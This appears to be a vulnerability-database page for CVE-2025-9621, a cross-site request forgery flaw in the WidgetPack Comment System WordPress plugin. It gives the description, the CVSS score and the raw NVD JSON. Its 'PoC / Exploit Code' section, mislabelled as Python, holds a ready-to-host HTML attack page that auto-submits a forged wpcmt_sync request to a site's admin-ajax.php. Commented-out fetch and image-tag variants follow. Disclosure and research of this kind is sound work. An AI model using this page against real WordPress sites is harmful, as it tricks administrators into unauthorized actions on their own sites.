Security Vulnerability Report
中文
CVE-2025-9621 CVSS 4.3 MEDIUM

CVE-2025-9621

Published: 2025-10-11 10:15:45
Last Modified: 2026-04-15 00:35:42

Description

The WidgetPack Comment System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.6.1. This is due to missing or incorrect nonce validation on the wpcmt_sync action in the wpcmt_request_handler function. This makes it possible for unauthenticated attackers to trigger comment synchronization events via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WidgetPack Comment System for WordPress <= 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9621 PoC: CSRF exploit for WidgetPack Comment System WordPress Plugin --> <!-- This PoC demonstrates how an attacker can forge a request to trigger the wpcmt_sync action --> <!-- without proper nonce validation, causing unauthorized comment synchronization. --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-9621</title> </head> <body> <h1>CVE-2025-9621 - WidgetPack Comment System CSRF</h1> <!-- The attacker hosts this page on a malicious server. When an authenticated WordPress admin visits this page, the browser will automatically submit a forged POST request to the target WordPress site's admin-ajax.php endpoint, triggering the wpcmt_sync action without a valid nonce. --> <!-- Method 1: Auto-submitting hidden form --> <form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpcmt_sync" /> <!-- Additional parameters that wpcmt_sync may require --> <input type="hidden" name="wpcmt_data" value="malicious_payload" /> </form> <script> // Auto-submit the form when the page loads document.getElementById('csrf-form').submit(); </script> <!-- Method 2: Using fetch API (alternative approach) <script> fetch('http://target-wordpress-site.com/wp-admin/admin-ajax.php', { method: 'POST', credentials: 'include', // Include cookies for authenticated session headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'action=wpcmt_sync&wpcmt_data=malicious_payload' }); </script> --> <!-- Method 3: Using img tag for GET-based CSRF (if applicable) <img src="http://target-wordpress-site.com/wp-admin/admin-ajax.php?action=wpcmt_sync&wpcmt_data=malicious_payload" style="display:none" /> --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9621", "sourceIdentifier": "[email protected]", "published": "2025-10-11T10:15:44.637", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WidgetPack Comment System plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.6.1. This is due to missing or incorrect nonce validation on the wpcmt_sync action in the wpcmt_request_handler function. This makes it possible for unauthenticated attackers to trigger comment synchronization events via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/widgetpack-comment-system/tags/1.6.1/wpcmt.php#L295", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/widgetpack-comment-system/tags/1.6.1/wpcmt.php#L419", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/01996a4c-0ad8-4da8-bfa7-3442c5a67679?source=cve", "source": "[email protected]"}]}}